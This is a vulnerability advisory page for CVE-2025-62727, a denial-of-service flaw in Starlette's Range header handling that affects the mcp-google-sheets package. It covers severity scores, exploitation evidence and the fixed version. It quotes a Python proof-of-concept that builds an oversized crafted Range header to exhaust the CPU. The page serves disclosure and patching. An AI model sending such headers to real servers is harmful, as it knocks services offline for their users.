CVE-2025-62727VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

Mcp google sheets: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``

Affects mcp-google-sheetsSource GCVE Database

Authoritative record:CVE-2025-62727· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 0.5.1_1 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.8% chance of exploitation in 30 days – higher than 56% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.5.1_1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 28 Oct 2025
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade mcp-google-sheets to 0.5.1_1.

Affected software

Product	Affected	Fixed in
Homebrewmcp-google-sheets`pkg:brew/mcp-google-sheets`Other threats	Affected >=0.5.1 <0.5.1_1	Fixed in 0.5.1_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split("=", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != ("", "") ] ``` The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity. The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons. This affects any Starlette application that uses: - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178` - Direct ``starlette.responses.FileResponse`` responses ### PoC ```python #!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1) def build_payload(length: int) -> str: """Build the Range header value body: '0' * num_zeros + '0-'""" return ("0" * length) + "a-" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = "bytes=" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f"[DEBUG] range_body length: {len(range_body)} bytes") elapsed_time = test(header, file_size) print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n") if __name__ == "__main__": print(f"[INFO] Starlette Version: {starlette.__version__}") for n in [5000, 10000, 20000, 40000]: run_once(n) """ $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """ ``` ### Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

References

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